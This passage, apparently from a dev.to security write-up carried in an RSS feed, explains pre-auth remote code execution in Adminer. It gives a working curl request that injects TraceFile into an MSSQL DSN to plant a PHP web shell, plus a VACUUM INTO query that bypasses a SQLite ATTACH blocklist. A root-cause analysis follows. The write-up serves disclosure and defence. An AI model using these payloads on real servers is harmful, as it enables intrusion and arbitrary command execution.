        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pdo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;\PDO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dsn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;\Exception&lt;/span&gt; &lt;span class="nv"&gt;$ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$ex&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the entire chain — login form → &lt;code&gt;attach()&lt;/code&gt; → &lt;code&gt;dsn()&lt;/code&gt; → &lt;code&gt;new PDO()&lt;/code&gt; — never once escapes or validates the input.&lt;/p&gt;

&lt;p&gt;The actual request looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://target.tld/adminer.php"&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; - &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"auth[driver]=mssql"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"auth[server]=127.0.0.1;TraceFile=shell.php;TraceOn=1"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"auth[username]=&amp;lt;?php system(&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;_GET['c']); ?&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"auth[password]=x"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When this hits the server, Adminer builds this DSN and hands it to PDO:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sqlsrv:Server=127.0.0.1;TraceFile=shell.php;TraceOn=1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The ODBC driver opens &lt;code&gt;shell.php&lt;/code&gt;, writes the connection metadata into it (our PHP payload sitting inside &lt;code&gt;UID={...}&lt;/code&gt;), then attempts to connect to &lt;code&gt;127.0.0.1&lt;/code&gt; and fails. &lt;strong&gt;The failure doesn't matter&lt;/strong&gt; — &lt;code&gt;shell.php&lt;/code&gt; already exists next to &lt;code&gt;adminer.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One more request finishes the job:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://target.tld/shell.php?c=id"&lt;/span&gt;
&lt;span class="c"&gt;# uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's the full attack flow:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb0wvfr8d0zvmwcfwnecv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb0wvfr8d0zvmwcfwnecv.png" alt=" " width="800" height="403"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/AixDBIFs6gI" width="315" height="560"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;


&lt;h2&gt;
  
  
  Why this is severe (the technical factors)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pre-auth&lt;/strong&gt;: the login attempt is designed to fail. No valid MSSQL credentials, and no reachable MSSQL server, are required.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Timing of the write&lt;/strong&gt;: the file gets written during the ODBC driver's connection attempt, not inside Adminer's own auth logic — so there's no application-level checkpoint that could intercept it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Precondition&lt;/strong&gt;: &lt;code&gt;pdo_sqlsrv&lt;/code&gt; plus the Microsoft ODBC Driver, which is exactly what you get on hosts talking to Azure SQL Database or an MS SQL Server backend.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Writable web root&lt;/strong&gt;: the default in a lot of containerized PHP deployments.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The same shape exists in the sibling &lt;code&gt;pdo_dblib&lt;/code&gt; branch (&lt;code&gt;mssql.inc.php:195&lt;/code&gt;, DSN template &lt;code&gt;dblib:charset=utf8;host=$host&lt;/code&gt;) — the original report notes they didn't have a reachable dblib install to confirm a working gadget there, but the code path is identical.&lt;/p&gt;

&lt;h2&gt;
  
  
  A related case: bypassing the SQLite blocklist
&lt;/h2&gt;

&lt;p&gt;A third issue reported alongside this one, in the same codebase, follows a similar shape and is worth a quick look. Adminer already knows that &lt;code&gt;ATTACH DATABASE 'shell.php'&lt;/code&gt; is a classic SQLite-to-PHP-shell primitive, so it blocks it:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;adminer/sql.inc.php:121&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;JUSH&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"sqlite"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"~^&lt;/span&gt;&lt;span class="nv"&gt;$space&lt;/span&gt;&lt;span class="s2"&gt;*+ATTACH&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;b~i"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$q&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$match&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;p class='error'&amp;gt;"&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nf"&gt;lang&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ATTACH queries are not supported.'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The problem: &lt;code&gt;VACUUM INTO 'path'&lt;/code&gt;, available since SQLite 3.27.0, does almost exactly the same thing — it writes the current database out to an arbitrary path with an arbitrary extension. The blocklist regex only matches queries starting with &lt;code&gt;ATTACH&lt;/code&gt;, so a query starting with &lt;code&gt;VACUUM&lt;/code&gt; sails right through.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;"&amp;lt;?php system($_GET['c']); ?&amp;gt;"&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;VACUUM&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/html/shell.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The table name carries the PHP payload, and &lt;code&gt;VACUUM INTO&lt;/code&gt; dumps the whole database into a &lt;code&gt;.php&lt;/code&gt; file. PHP's parser finds the &lt;code&gt;&amp;lt;?php ... ?&amp;gt;&lt;/code&gt; block sitting in the middle of the binary SQLite content and executes it. This path requires authentication, so it's less severe than the MSSQL bug, but SQLite-backed Adminer instances are often left with default or empty credentials — so the practical risk is still meaningful.&lt;/p&gt;

&lt;h2&gt;
  
  
  The common root cause
&lt;/h2&gt;

&lt;p&gt;All three issues share the same pattern:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;User input is passed to a downstream system (ODBC, a version-string regex, a SQL blocklist) with no trust boundary in between.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A partial-match regex, on failure, returns the raw input instead of a safe default.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blocklist-based defenses don't keep up with new syntax (like &lt;code&gt;VACUUM INTO&lt;/code&gt;).&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;host_port()&lt;/code&gt; returning the original string when its regex doesn't match, the SQLite blocklist only catching &lt;code&gt;ATTACH\b&lt;/code&gt;, and (in a related XSS bug in the same audit) a version-string regex falling back to the raw value on a failed match — all three bugs share the exact same failure mode: &lt;strong&gt;match failure means the input passes through unmodified.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>database</category>
      <category>ubuntu</category>
      <category>cve</category>
      <category>php</category>
    </item>
  </channel>
</rss>
